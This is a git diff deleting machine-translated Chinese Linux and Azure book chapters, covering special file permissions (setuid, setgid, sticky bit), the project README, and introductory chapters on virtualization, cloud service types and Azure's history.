-![](img/fef88911-1180-4dd1-8764-0ed7b8b37028.png) - -现在`setuid`权限标志将作为定义为该文件所有者的用户运行命令。这对于系统中的一些特殊命令是重要且有用的;例如,必须作为根用户运行的命令,因为它们访问受保护的文件系统文件或文件夹,但对于普通用户也必须是可执行的。以`passwd`命令为例。它访问并写入文件,如`etc/passwd`文件,该文件仅对 root 用户可写,因此该命令必须以 root 用户身份运行,但普通用户也需要在`passwd`命令上更改密码: - -![](img/fa0ec1bc-0c90-46ae-8cf3-9d208d33c490.png) - -现在,让我们退出根用户,用普通用户帐户测试`setuid`标志。 - -让我们重新检查一下我们是否真的是`olip`用户。现在,如果不在文件上设置`setuid`标志,如果我们执行本地`whoami`命令,它将打印出我们的用户名,因为我们是启动它的用户: - -![](img/486f3310-e830-4d30-94c0-5b00bb286f5a.png) - -现在,如果我们对该命令设置`setuid`权限并再次执行,会发生什么?首先,让我们查看权限标志。我们将看到`setuid`标志已经在该文件上成功设置。现在,让我们再次执行一个命令: - -![](img/9e855733-11e5-4b59-8287-eb5efb3fc26a.png) - -如您所见,`setuid`标志工作正常。我们以`olip`用户的身份运行命令,但是文件所有者`awesome_user`在执行过程中被使用。 - -# 塞吉德 - -现在,让我们了解一下`setgid`权限。这面旗帜有两种不同的含义,了解它很重要,应该记住它。当在文件上设置时,它具有与`setuid`权限相同的效果,但是在这里它将以组所有者的权限而不是文件所有者的权限执行命令。 - -要在文件上设置`setgid`标志,使用`chmod`命令中的数字`2`: - -![](img/6045bc66-e569-4642-b5ab-758dbd38206a.png) - -`setgid`标志的第二个含义非常重要,应该记住,因为它可以是一个典型的用例。如果您在文件夹而不是文件上设置`setgid`,则在该文件夹中创建的每个新文件、文件夹或子文件夹都将自动获得您设置`setgid`标志的文件夹的组权限。这适用于递归包含的所有文件。这可能变得非常重要,因为通常自动创建的新文件的组权限是由文件的创建者分配的。 - -因此,如果您希望在文件系统中为协作或小组工作分隔位置,以便为属于特殊组的任何人放入共享文件,`setgid`是一个非常强大的功能。这就像一个你可能从其他操作系统中知道的共享文件夹。因此,如果你想把你的文件系统分成协作或小组工作的位置,在那里属于一个特殊小组的任何人都可以创建文档,这些文档可以自动地被同一小组的其他人完全访问,只需在文件夹上设置一个`setgid`标志。 - -要对此进行测试: - -1. 在用户名`olip`下新建一个文件夹。 -2. 现在,将组所有权更改为`awesome_group`。现在,如果用户在此文件夹中创建新文件,它将拥有该用户的组所有权。 -3. 现在,让我们在那个文件夹上设置`setgid`标志,看看会发生什么。 -4. 让我们在设置了`setgid`标志的文件夹中的用户名`olip`下创建一个新文件: - -![](img/31c7762e-1527-44a9-b50d-73ecf61a3018.png) - -如您所见,在此文件夹中创建的任何新文件现在都将获得该文件夹的组所有权,即`awesome_group`。所以我们的`setgid`旗工作正常。 - -# 粘性比特 - -`sticky bit`仅对目录有影响,对文件没有影响。如果在文件夹上设置了`sticky bit`,则仅允许在该目录中创建的特定文件、文件夹或子文件夹的所有者将其删除。在某些特殊情况下,这是有用的,例如在`/tmp`目录中,任何人都应该被允许看到任何东西,但是进程经常创建并依赖存储在该文件夹中的数据,所以如果进程的创建者以外的其他人能够从其他用户删除文件,那将是非常糟糕的。 - -让我们测试一下: - -![](img/bbc27a8e-a024-4001-bbfa-f2ff6d7cf5a7.png) - -如您所见,`sticky bit`已经设置在`/tmp`目录下,所以让我们用`/tmp`目录下的`olip`用户创建一个新文件。现在,让我们来看看`awesome_user`。由于没有设置密码,让我们为它设置一个。现在,`awesome_user`也将在`/tmp`目录中创建新文件。现在,让我们尝试删除我们自己的文件,这是可行的。现在,让我们尝试删除`olip`用户的文件;这不起作用,所以`sticky bit`工作正常: - -![](img/cc153ad7-1db1-4491-a264-ef49b370a034.png) - -# 摘要 - -在这一章中,我们简单介绍了 Linux 中的特殊文件权限标志。`setuid`标志只对命令起作用,对脚本不起作用,它让一个程序作为定义为文件所有者的用户而不是运行该程序的用户来执行。`setgid`旗有两个特殊含义。第一个用于命令,另一个用于文件夹。如果您在命令上设置它,它将像`setuid`标志一样工作,但是将作为该文件的组所有权而不是该文件的文件所有者来运行它。第二个意思是如果你在一个文件夹上设置了`setgid`,你设置的文件夹的组所有者将自动分配给你在那个文件夹中创建的每个新文件。在设置了`sticky bit`的目录中,只有文件所有者可以删除自己的文件 \ No newline at end of file diff --git a/docs/fund-linux/README.md b/docs/fund-linux/README.md deleted file mode 100644 index 22e1aae0..00000000 --- a/docs/fund-linux/README.md +++ /dev/null @@ -1,67 +0,0 @@ -# Linux 基础知识 - -> 原文:[Fundamentals of Linux](https://libgen.rs/book/index.php?md5=29980B7659BC4BE41209BC2F2B7B6D02) -> -> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) -> -> 阶段:机翻(1) -> -> 自豪地采用[谷歌翻译](https://translate.google.cn/) -> -> 这世界上有一种鸟是没有脚的,它只能够一直的飞呀飞呀,飞累了就在风里面睡觉,这种鸟一辈子只能下地一次,那一次就是它死亡的时候。——《阿飞正传》 - -* [在线阅读](https://linux.apachecn.org) -* [在线阅读(Gitee)](https://apachecn.gitee.io/apachecn-linux-zh/) -* [ApacheCN 学习资源](http://docs.apachecn.org/) - -## 目录 - -+ [笨办法学 Linux 中文版](docs/llthw-zh/SUMMARY.md) - -## 贡献指南 - -本项目需要校对,欢迎大家提交 Pull Request。 - -> 请您勇敢地去翻译和改进翻译。虽然我们追求卓越,但我们并不要求您做到十全十美,因此请不要担心因为翻译上犯错——在大部分情况下,我们的服务器已经记录所有的翻译,因此您不必担心会因为您的失误遭到无法挽回的破坏。(改编自维基百科) - -## 联系方式 - -### 负责人 - -* [飞龙](https://github.com/wizardforcel): 562826179 - -### 其他 - -* 在我们的 [apachecn/apachecn-linux-zh](https://github.com/apachecn/apachecn-linux-zh) github 上提 issue. -* 发邮件到 Email: `apachecn@163.com`. -* 在我们的 [组织学习交流群](http://www.apachecn.org/organization/348.html) 中联系群主/管理员即可. - -## 下载 - -### Docker - -``` -docker pull apachecn0/apachecn-linux-zh -docker run -tid -p :80 apachecn0/apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -### PYPI - -``` -pip install apachecn-linux-zh -apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -### NPM - -``` -npm install -g apachecn-linux-zh -apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -## 赞助我们 - -![](http://data.apachecn.org/img/about/donate.jpg) diff --git a/docs/fund-linux/SUMMARY.md b/docs/fund-linux/SUMMARY.md deleted file mode 100644 index 5a4c388f..00000000 --- a/docs/fund-linux/SUMMARY.md +++ /dev/null @@ -1,7 +0,0 @@ -+ [Linux 基础知识](README.md) -+ [零、前言](0.md) -+ [一、Linux 简介](1.md) -+ [二、Linux 命令行](2.md) -+ [三、Linux 文件系统](3.md) -+ [四、使用命令行](4.md) -+ [五、更高级的命令行和概念](5.md) diff --git a/docs/handson-linux-admin-azure/00.md b/docs/handson-linux-admin-azure/00.md deleted file mode 100644 index 76251162..00000000 --- a/docs/handson-linux-admin-azure/00.md +++ /dev/null @@ -1,79 +0,0 @@ -# 零、前言 - -## 关于 - -本节简要介绍作者,本课程的内容,入门所需的技术技能,以及完成所有包含的活动和练习所需的硬件和软件要求。 - -## 关于在 Azure 上动手操作 Linux 管理,第二版 - -由于其在交付可伸缩的云解决方案方面的灵活性,Microsoft Azure 是管理所有工作负载的合适平台。 您可以使用它来实现 Linux 虚拟机和容器,并使用开放 api 用开放源代码语言创建应用。 - -这本 Linux 管理书籍首先带您了解 Linux 和 Azure 的基础知识,为以后章节中更高级的 Linux 特性做好准备。 在实际示例的帮助下,您将了解如何在 Azure 中部署虚拟机(vm)、扩展它们的功能并有效地管理它们。 您将管理容器并使用它们可靠地运行应用,在最后一章中,您将探索使用各种开源工具进行故障排除的技术。 - -在本书结束时,您将精通在 Azure 上管理 Linux 和利用部署所需的工具。 - -### 作者简介 - -**Kamesh Ganesan**云传道士,经验丰富的技术专业人士,拥有近 23 年的主要云技术 IT 经验,包括 Azure、AWS、GCP、阿里巴巴云。 他拥有超过 45 个 IT 认证,包括 5 个 AWS 认证,3 个 Azure 认证和 3 个 GCP 认证。 他扮演过许多角色,包括认证的多云架构师、云本地应用架构师、首席数据库管理员和程序员分析师。 他设计、构建、自动化和交付高质量、关键任务和创新的技术解决方案,帮助他的企业、商业和政府客户非常成功,并利用多云战略显著提高其业务价值。 - -**Rithin Skaria**是一名开源倡导者,拥有超过 7 年的 Azure、AWS 和 OpenStack 开源工作量管理经验。 他目前在微软工作,是微软内部几个开源社区活动的一部分。 他是认证的微软培训师、Linux Foundation 工程师和管理员、Kubernetes 应用开发人员和管理员,也是认证的 OpenStack 管理员。 谈到 Azure,他有 4 个认证,包括解决方案架构、Azure 管理、DevOps 和安全性,他还获得了 Office 365 管理的认证。 他在几个开源部署以及管理和将这些工作负载迁移到云计算中扮演了重要角色。 - -**Frederik Vos**现居住在荷兰阿姆斯特丹附近的城市 Purmerend,是一名虚拟化技术高级培训师,主要从事 Citrix XenServer、VMware vSphere 等虚拟化技术培训。 他的专长是数据中心基础设施(hypervisor、网络和存储)和云计算(CloudStack、CloudPlatform、OpenStack 和 Azure)。 他还是一位 Linux 培训师和传教士。 他拥有教师的知识和系统管理员的实际经验。 在过去的 3 年里,他一直作为 ITGilde 合作组织的自由培训师和顾问工作,提供了很多 Linux 培训课程,比如 Linux 基金会的 Linux on Azure 培训。 - -### 【学习目标 - -在本课程结束时,您将能够: - -* 掌握虚拟化和云计算的基础知识 -* 理解文件层次结构并安装新的文件系统 -* 在 Azure Kubernetes Service 中维护应用的生命周期 -* 使用 Azure CLI 和 PowerShell 管理资源 -* 管理用户、组和文件系统权限 -* 使用 Azure 资源管理器重新部署虚拟机 -* 通过配置管理,正确配置虚拟机 -* 使用 Docker 构建一个容器 - -### 观众 - -如果您是一名 Linux 管理员或微软专业人员,希望在 Azure 中部署和管理您的工作负载,这本书适合您。 虽然不是必须的,但是 Linux 和 Azure 的知识将有助于理解核心概念。 - -### 方法 - -这本书结合了实践和理论知识。 它涵盖了真实的场景,这些场景演示了 Linux 管理员如何在 Azure 平台上工作。 每一章的设计都是为了方便每个新技能的实际应用。 - -### 硬件要求 - -为了获得最佳的学生体验,我们推荐以下硬件配置: - -* 处理器:英特尔酷睿 i5 或同等处理器 -* 内存:4gb RAM(首选 8gb) -* 存储空间:35gb 可用空间 - -### 软件需求 - -我们还建议您提前做好以下准备: - -* 安装了 Linux、Windows 10 或 macOS 操作系统的计算机 -* 一个互联网连接,这样你就可以连接到 Azure - -### 约定 - -文本中的代码字、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟 url、用户输入、Twitter 句柄如下所示: - -“下面的代码片段创建了一个名为**MyResource1**的资源组,并将 SKU 指定为**Standard_LRS**,它在此上下文中代表冗余选项。” - -下面是一个代码块的示例: - -New-AzStorageAccount -Location westus ' - --ResourceGroupName MyResource1” - --Name "" -SkuName Standard_LRS - -在许多情况下,我们使用尖括号**<>**。 您需要将其替换为实际的参数,并且不要在命令中使用这些方括号。 - -### 下载资源 - -本书的代码包也托管在 GitHub 上的[https://github.com/PacktPublishing/Hands-On-Linux-Administration-on-Azure---Second-Edition](https://github.com/PacktPublishing/Hands-On-Linux-Administration-on-Azure---Second-Edition)。 您可以在相关实例中找到本书中使用的 YAML 和其他文件。 - -我们还可以在[https://github.com/PacktPublishing/](https://github.com/PacktPublishing/)中找到丰富的图书和视频目录中的其他代码包。 检查出来! \ No newline at end of file diff --git a/docs/handson-linux-admin-azure/01.md b/docs/handson-linux-admin-azure/01.md deleted file mode 100644 index 4a4910be..00000000 --- a/docs/handson-linux-admin-azure/01.md +++ /dev/null @@ -1,242 +0,0 @@ -# 一、探索微软 Azure 云 - -人们经常因为术语**云计算**的模糊性而感到困惑。 这里,我们不是指云存储解决方案,如 OneDrive、Dropbox 等。 相反,我们指的是组织、公司甚至个人使用的实际计算解决方案。 - -Microsoft Azure(原名**Windows Azure**)是微软的公共云计算平台。 它提供广泛的云服务,包括计算、分析、存储、网络等等。 如果您仔细查看 Azure 提供的服务列表,您会发现您几乎可以使用任何服务——从虚拟机到人工智能和机器学习。 - -从虚拟化的简要历史开始,我们将解释物理硬件到虚拟化硬件的转换如何在许多方面超越经典数据中心的边界。 - -之后,我们将解释云技术中使用的不同术语。 - -以下是我们将讨论的关键话题: - -* 计算、网络、存储虚拟化 -* 云服务 -* 云的类型 - -## 云计算基础 - -当你第一次在**信息技术**(**IT**)学习一门新学科时,你通常会从学习基本概念(即理论)开始。 然后您将熟悉这个体系结构,并且迟早您将开始尝试并亲自动手看看它在实践中是如何工作的。 - -然而,在云计算中,如果您不仅理解概念和体系结构,而且了解它的来源,就会非常有帮助。 我们不想给你上历史课,但我们想告诉你,过去的发明和想法仍然在现代云环境中使用。 这将使您更好地理解什么是云以及如何在组织中使用云。 - -以下是云计算的关键基础: - -* 虚拟化 -* **软件定义数据中心**(**SDDC**) -* **面向服务的体系结构**(**SOA**) -* 云服务 -* 云的类型 - -让我们来看看每一个并理解这些术语指的是什么。 - -### 虚拟化 - -在计算领域,虚拟化是指以虚拟的形式创建设备或资源,例如服务器、存储设备、网络甚至操作系统。 虚拟化的概念是在 IBM 于 20 世纪 60 年代末和 70 年代初开发分时解决方案时出现的。 **分时**是指在一大群用户之间共享计算机资源,提高用户的工作效率,无需为每个用户购买计算机。 这是计算机技术革命的开始,购买新计算机的成本大大降低,组织可以利用他们已经拥有的未充分利用的计算机资源。 - -现在,这种类型的虚拟化已经发展成基于容器的虚拟化。 虚拟机有自己的操作系统,它是在物理服务器上虚拟化的; 另一方面,一台机器(物理或虚拟)上的容器都共享相同的底层操作系统。 我们将在*第 9 章,Azure 中的容器虚拟化*中更多地讨论容器。 - -快进到 2001 年,VMware 等公司引入了另一种类型的虚拟化,称为硬件虚拟化。 在他们的产品 VMware Workstation 中,他们在现有的操作系统上增加了一个层,该操作系统提供了一组标准硬件和内置软件,而不是运行虚拟机的物理元素。 这一层被称为**hypervisor**。 后来,他们建立了自己的操作系统,专门运行虚拟机:VMware ESXi(原名 ESX)。 - -在 2008 年,微软通过 Hyper-V 产品进入了硬件虚拟化市场,作为 Windows Server 2008 的一个可选组件。 - -硬件虚拟化就是将软件从硬件中分离出来,打破硬件和软件之间的传统界限。 管理程序负责在物理资源上映射虚拟资源。 - -这种类型的虚拟化是数据中心革命的推动者: - -* 由于有标准的硬件集,每个虚拟机都可以在安装了管理程序的任何物理机器上运行。 -* 由于虚拟机之间是相互隔离的,所以如果某个虚拟机崩溃,它不会影响运行在同一管理程序上的任何其他虚拟机。 -* 因为虚拟机只是一组文件,所以可以进行备份、移动虚拟机等等。 -* 可以使用新的选项来提高工作负载的可用性,包括**高可用性**(**HA**),以及迁移虚拟机的可能性,即使虚拟机仍在运行。 -* 新的部署选项也变得可用,例如,使用模板。 -* 对于中央管理、编配和自动化也有新的选择,因为这些都是由软件定义的。 -* 必要时隔离、保留和限制资源,可能时共享资源。 - -### SDDC - -当然,如果您可以将硬件转换为用于计算的软件,那么有人会意识到您也可以对网络和存储进行同样的操作,这只是时间问题。 - -对于网络,一切都始于虚拟交换机的概念。 就像所有其他形式的硬件虚拟化一样,它只不过是在软件中而不是在硬件中构建一个网络交换机。 - -**互联网工程任务组**(**IETF)开始工作在一个项目叫做**转发和控制元件分离**,这是一个建议标准接口来解耦控制平面和数据平面。 2008 年,第一个真正实现这一目标的交换机是在斯坦福大学使用 OpenFlow 协议实现的。 **软件定义网络**(**SDN**)通常与 OpenFlow 协议相关联。** - -使用 SDN,你有类似的优势,在计算虚拟化: - -* 中央管理、自动化和编制 -* 通过流量隔离和提供防火墙和安全策略,提供更细粒度的安全性 -* 整形和控制数据流量 -* 可用于 HA 和可伸缩性的新选项 - -2009 年,Scality、Cleversafe 等多家公司开始开发**软件定义存储**(**SDS**)。 同样,它是关于抽象的:将服务(逻辑卷等)与物理存储元素解耦。 - -如果您了解 SDS 的概念,就会发现一些供应商在虚拟化的现有优势上增加了一个新特性。 您可以为虚拟机添加策略,定义您想要的选项:例如,数据复制或限制每秒**的输入/输出操作次数**(**IOPS**)。 这对管理员来说是透明的; 管理程序和存储层之间有通信来提供功能。 后来,一些 SDN 供应商也采用了这个概念。 - -您实际上可以看到,虚拟化慢慢地将不同数据中心层的管理转变为面向服务的方法。 - -如果您可以虚拟化一个物理数据中心的每个组件,那么您就有了一个 SDDC。 网络、存储和计算功能的虚拟化使其能够超越单个硬件的限制。 SDDC 通过将软件从硬件中抽象出来,使得超越物理数据中心的边界成为可能。 - -在 SDDC 环境中,一切都是虚拟化的,并且通常由软件完全自动化。 它完全改变了数据中心的传统概念。 服务托管在哪里或者它可用多长时间(24-7 或随需应变)并不重要。 此外,还可以监控服务,甚至可以添加自动报告和计费等选项,这些都让最终用户感到满意。 - -SDDC 和云不一样,甚至不是运行在你的数据中心中的私有云,但你可以争辩说,例如,微软 Azure 是 SDDC - Azure 的全面实现,根据定义,它是软件定义的。 - -### soa - -在硬件虚拟化成为数据中心主流、SDN 和 SDS 开发开始的同一时期,基于 web 的应用软件开发领域出现了一些新的东西:SOA,它提供了一些好处。 以下是一些关键点: - -* 可以相互通信的最小服务,使用的协议是**简单对象访问协议****(SOAP)**。 它们一起交付了一个完整的基于 web 的应用。 -* 服务的位置并不重要; 服务必须知道其他服务的存在,仅此而已。 -* 服务是一种黑盒; 终端用户不需要知道盒子里有什么。 -* 每个服务都可以被另一个服务替换。 - -对于最终用户来说,应用位于何处或者它由几个较小的服务组成并不重要。 在某种程度上,它类似于虚拟化:看起来是一个物理资源,例如,一个存储**LUN****(逻辑单元号)**实际上可以包含多个位置的多个物理资源(存储设备)。 如前所述,如果一个服务知道另一个服务的存在(它可能在另一个位置),它们将一起行动并交付应用。 我们每天接触的许多网站都是基于 SOA 的。 - -虚拟化与 SOA 结合的强大功能在可伸缩性、可靠性和可用性方面为您提供了更多的选择。 - -在 SOA 模型和 SDDC 之间有许多相似之处,但也有一个区别:SOA 是关于不同服务之间的交互; SDDC 更多的是关于向最终用户交付服务。 - -SOA 的现代实现是微服务,由云环境(如 Azure)提供,独立运行或在虚拟化容器(如 Docker)中运行。 - -### 云服务 - -这里有一个神奇的词:*云*。 **云服务**是由云解决方案或计算提供商(如 Microsoft Azure)提供给组织、公司或用户的任何服务。 如果你想提供以下服务,云服务是合适的: - -* 是高度可用的,并且总是随需应变。 -* 可通过自助服务进行管理。 -* 具有可伸缩性,允许用户向上扩展(使硬件更强大)或向外扩展(添加额外的节点)。 -* 具有弹性—能够根据业务需求动态扩展或收缩资源数量。 -* 提供快速部署。 -* 可以完全自动化和协调。 - -除此之外,还有用于监控资源的云服务和新的计费选项:大多数时候,您只需要为您使用的内容付费。 - -云技术是关于通过互联网交付服务,以便让组织访问资源,如软件、存储、网络和其他类型的 IT 基础设施和组件。 - -云可以为您提供多种服务类型。 以下是最重要的几点: - -* **基础设施即服务**(**IaaS**):托管虚拟机的平台。 部署在 Azure 中的虚拟机就是一个很好的例子。 -* **平台即服务**(**PaaS**):一个开发、构建和运行应用的平台,无需构建和运行自己的基础设施。 例如,有 Azure 应用服务,你可以在其中推送你的代码,而 Azure 会为你托管基础设施。 -* **软件即服务**(**SaaS**):随时可用的应用,运行在云中,如 Office 365。 - -即使上述的主要支柱是云服务,你可能也听说法**(**函数作为服务**),中国农科院**(**容器作为服务**),【显示】SECaaS(**安全即服务**), 随着云服务的数量日益增加,这个列表还在继续。 Azure 中的功能应用是 FaaS 的一个例子,Azure 容器服务用于 CaaS, Azure 活动目录用于 SECaaS。**** - - ****### 云类型 - -云服务可以根据其位置或服务托管的平台进行分类。 如前一节所述,基于平台,我们可以将云服务分为 IaaS、PaaS、SaaS 等; 但是,根据位置,我们可以将云分为: - -* **公有云**:所有服务由服务提供商托管。 微软的 Azure 就是这种类型的实现。 -* **私有云**:您自己的数据中心云。 微软最近为此开发了一个特殊版本的 Azure: Azure Stack。 -* **混合云**:公有云和私有云的结合。 一个例子是结合 Azure 和 Azure Stack 的强大功能,但您也可以考虑新的灾难恢复选项,或者在临时需要更多资源时将服务从数据中心转移到云上。 -* **社区云**:社区云是指多个组织在相同的共享平台上工作,前提是它们具有相似的目标。 - -选择其中一种云实现取决于几个因素; 举几个例子: - -* **成本**:根据资源使用情况,在云中托管服务可能比在本地托管服务更贵。 另一方面,它可能更便宜; 例如,您不需要实现复杂且昂贵的可用性选项。 -* **法律限制**:一些组织将无法使用公共云。 例如,美国政府有自己的 Azure 服务,称为 Azure Government。 同样,德国和中国也有自己的 Azure 产品。 -* **互联网连接**:仍然有一些国家,必要的带宽甚至连接的稳定性都是一个问题。 -* **复杂性**:混合云环境尤其难以管理; 对应用和用户管理的支持可能具有挑战性。 - -## 了解微软 Azure 云 - -现在您已经对虚拟化和云计算有了更多的了解,现在是时候向您介绍云的微软实现:Azure。 - -再次从一些历史开始,在本节中,您将了解 Azure 背后的技术,以及 Azure 对您的组织来说是一个非常好的解决方案。 - -### 微软 Azure 云的简史 - -2002 年,微软启动了一个名为 Whitehorse 的项目,以简化 SOA 模型中应用的开发、部署和实现。 在这个项目中,重点是交付小型的、预先构建的 web 应用,以及将它们转化为服务的能力。 这个项目在 2006 年左右悄无声息地结束了。 - -从那个项目中学到的许多经验教训以及**Amazon Web Services**(**AWS**)的出现,都是微软在 2006 年启动一个名为**RedDog**的项目的驱动因素。 - -一段时间后,微软为这个项目增加了其他三个开发团队: - -* **. net Services**:为使用 SOA 模型的开发人员提供的服务。 -* **Live Services 和 Live Mesh**:SaaS 项目,使 pc 和其他设备能够通过互联网相互通信。 -* **SQL Services**:一个 SaaS 项目,通过互联网交付 Microsoft SQL。 - -2008 年,微软宣布了 Azure 的开始,并在 2010 年发布了它的公开版本,Azure 已经准备好交付 IaaS 和 PaaS 解决方案。 RedDog 这个名字存活了一段时间:经典的门户也被称为**RedDog 前端**(**RDFE**)。 经典的门户基于**服务管理模型**。 另一方面,Azure 门户基于**Azure 资源管理器**(**ARM**)。 这两个门户基于两个不同的 api。 - -如今,Azure 是微软三大云之一(另外两个是 Office 365 和 Xbox),用于交付不同类型的服务,比如虚拟机、web 和移动应用、活动目录、数据库等等。 - -在功能、客户和可用性方面,它仍在增长。 Azure 可以在超过 54 个地区使用。 这对于可伸缩性、性能和冗余非常重要。 - -拥有这么多区域还有助于遵守法律和安全/隐私政策。 有关安全性、隐私性和合规性的信息和文档可通过微软的信任中心:[https://www.microsoft.com/en-us/TrustCenter](https://www.microsoft.com/en-us/TrustCenter)获得。 - -### Azure 架构 - -Microsoft Azure 运行在 Hyper-V 的自定义、精简和加固版本上,也称为**Azure Hypervisor**。 - -在这个管理程序之上,有一个云层。 该层(或结构)是由 Microsoft 数据中心中的许多主机组成的集群,负责基础设施的部署、管理和运行状况。 - -这个云层由 fabric 控制器管理,它负责资源管理、可伸缩性、可靠性和可用性。 - -该层还通过构建在 REST、HTTP 和 XML 上的 API 提供管理接口。 另一种与 fabric 控制器交互的方式是通过 Azure 资源管理器由 Azure 门户和软件(如 Azure CLI)提供。 - -下面是 Azure 架构的图示: - -![Azure architecture](img/B15455_01_01.jpg) - -###### 图 1.1:Azure 架构 - -这些用户界面服务(Azure 门户、PowerShell、Azure CLI 和 API)将通过资源提供者与 fabric 通信。 例如,如果您想创建、删除或更新计算资源,用户将与**Microsoft 交互。 计算**资源提供者,也称为**计算资源提供者**(**CRP**)。 同样,网络资源通过**网络资源提供商**(**NRP**)或**Microsoft 进行通信。 网络**资源提供商与存储资源通过**存储资源提供商**(**SRP**)或**Microsoft 进行通信。 存储**资源提供者。 - -这些资源提供者将创建所需的服务,例如虚拟机。 - -### Azure 在您的组织 - -Azure 可以交付 IaaS:很容易部署虚拟机(手动或自动),并使用这些虚拟机来开发、测试和托管应用。 有许多额外的服务可以让您更轻松地作为系统工程师,例如备份和恢复选项、添加存储和可用性选项。 对于 web 应用,甚至可以在不创建虚拟机的情况下交付服务! - -当然,Azure 也可以用于 PaaS 解决方案; 与 IaaS 一样,PaaS 包括基础设施的所有组件,但增加了对云应用完整生命周期的支持:构建、测试、部署、管理和更新。 还有预定义的应用组件; 您可以节省将这些组件和代码一起转换为您想要交付的服务的时间。 容器可以是 PaaS 解决方案的另一部分。 Azure 容器服务使用 Kubernetes 或其他编排器(如 Mesos)简化了容器的部署、管理和操作。 - -如果你是一个想在 Azure 中托管 SaaS 解决方案的公司或组织,可以使用 AppSource。 您甚至可以提供与其他 Microsoft 产品的集成,例如 Office 365 和 Dynamics。 - -2017 年,微软发布了**Azure Stack**。 现在你可以在自己的数据中心运行 Azure,也可以在自己选择的服务提供商的数据中心运行 Azure,以提供 IaaS 和 PaaS。 它为您提供了 Azure 在可伸缩性和可用性方面的强大功能,而无需担心配置。 您只需要在需要时添加更多的物理资源。 如果您愿意,还可以将其用于与公共 Azure 的混合解决方案中,以在云和本地部署中实现灾难恢复或一致的工作负载。 - -Azure Stack 并不是混合环境中惟一可以使用的东西。 例如,您可以将本地 Active Directory 与 Azure Active Directory 连接起来,或者使用 Azure Active Directory 应用为本地和托管的 web 应用提供**单点登录**(**SSO**)。 - -### Azure 和开源 - -2009 年,甚至在 Azure 上市之前,微软就开始支持 PHP 等开源框架;2012 年,由于许多客户的请求,微软增加了对 Linux 虚拟机的支持。 - -那时候,微软并不是开源社区的大朋友,而且可以说他们真的不喜欢 Linux 操作系统。 2014 年前后,情况发生了变化,萨蒂亚·纳德拉接替史蒂夫·鲍尔默成为微软的首席执行官。 同年 10 月,他甚至在旧金山的微软会议上宣布*微软热爱 Linux!* - -从那时起,Azure 已经成长为一个非常友好的开源环境: - -* 它为许多开源解决方案提供了一个平台,例如 Linux 实例、容器技术和应用/开发框架。 -* 它通过提供开放和兼容的 api,提供与开源解决方案的集成。 例如,Cosmos DB 服务提供了一个与 mongodb 兼容的 API。 -* 文档、**软件开发工具包**(**SDK**)和示例都是开源的,可以在 GitHub 上获得:[https://github.com/Azure](https://github.com/Azure)。 -* 微软正在与开源项目和供应商合作,同时也是许多开源项目代码的主要贡献者。 - -2016 年,微软以铂金会员的身份加入了 Linux 基金会组织,以确认他们对开源开发的兴趣和参与在稳步增长。 - -2017 年 10 月,微软表示,Azure 中超过 40%的虚拟机都运行 Linux 操作系统,Azure 正在运行许多集装箱化的工作负载。 从目前的统计来看,工作量已经达到 60%以上。 除此之外,微服务都使用开源编程语言和接口。 - -微软对开源技术、开源 PowerShell 和许多其他产品都非常重视。 并不是 Azure 中的每个 Microsoft 产品都是开源的,但至少您可以在 Linux 上安装并运行 Microsoft SQL,或者您可以获得 Microsoft SQL 的容器映像。 - -## 总结 - -在本章中,我们讨论了虚拟化的历史和云的概念,并解释了在云环境中使用的术语。 - -有些人认为微软进入云世界有点晚,但实际上,他们在 2006 年就开始研究和开发技术,并且许多工作在 Azure 中幸存了下来。 有些项目夭折了,因为它们还为时过早,而且当时许多人对云计算持怀疑态度。 - -我们还介绍了 Azure 云的架构以及 Azure 可以为您的组织提供的服务。 - -在本章的最后一部分,我们看到 Azure 是一个非常友好的开源环境,并且微软投入了大量的努力使 Azure 成为一个考虑到互操作性的开放的、标准的云解决方案。 - -在下一章中,我们将开始使用 Azure 并学习如何在 Azure 中部署和使用 Linux。 - -## 问题 - -1. 物理数据中心中的哪些组件可以转换为软件? -2. 容器虚拟化和硬件虚拟化之间的区别是什么? -3. 如果您想在云中托管一个应用,哪种服务类型是最好的解决方案? -4. 假设您的一个应用需要严格的隐私政策。 在您的组织中使用云技术仍然是一个好主意吗? -5. 为什么 Azure 中有这么多可用的区域? -6. Azure Active Directory 的目的是什么? - -## 进一步阅读 - -如果你想了解更多关于 Hyper-V 的知识,以及如何使用 Azure 和 Hyper-V 来进行站点恢复和工作负载保护,请查阅*Windows Server 2016 Hyper-V Cookbook, Second Edition*by pack Publishing。 - -关于虚拟化和云计算的历史以及它们之间的关系,有很多很好的技术文章。 我们真正想提到的是*虚拟化和云计算之间关系的正式讨论*(ISBN 978-1-4244-9110-0)。 - -别忘了访问本章提到的微软网站和 GitHub 知识库!**** \ No newline at end of file diff --git a/docs/handson-linux-admin-azure/02.md b/docs/handson-linux-admin-azure/02.md deleted file mode 100644 index aa822dfb..00000000 --- a/docs/handson-linux-admin-azure/02.md +++ /dev/null @@ -1,842 +0,0 @@ -# 二、Azure 云入门 - -在第一章中,我们介绍了虚拟化和云计算的历史及其背后的思想。 之后,你会读到微软 Azure 云。 本章将帮助您迈出第一步,进入 Azure 的世界,访问 Azure,探索不同的 Linux 产品,并部署您的第一个 Linux 虚拟机。 - -部署之后,您需要使用**Secure Shell**(**SSH**)通过密码身份验证或使用 SSH 密钥对访问您的虚拟机。 - -要迈出进入 Azure 云的第一步,完成所有的练习并检查结果是很重要的。 在本章中,我们将使用 PowerShell 和 Azure CLI。 你可以选择任何你觉得舒服的方式; 然而,两者都学习不会有坏处。 本章的主要目标是: - -* 设置你的 Azure 帐户。 -* 使用 Azure CLI 和 PowerShell 登录 Azure。 -* 与**Azure 资源管理器**(**ARM**)交互,创建网络和存储资源。 -* 理解 Linux 发行版和微软支持的发行版。 -* Deploying your first Linux virtual machine. - - #### 请注意 - - 本章中的所有内容都在 macOS、Windows 子系统 for Linux 以及 CentOS 和 openSUSE LEAP 的最新版本上进行了测试。 - -## 技术要求 - -如果你想尝试本章中的所有例子,你至少需要一个浏览器。 出于稳定性的原因,使用最新版本的浏览器非常重要。 微软在 Azure 官方文档中提供了一系列受支持的浏览器: - -* Microsoft Edge(最新版本) -* Internet Explorer 11 -* Safari 浏览器(最新版本,仅适用于 Mac) -* 铬(最新版本) -* Firefox(最新版本) - -根据个人经验,我们推荐使用谷歌 Chrome 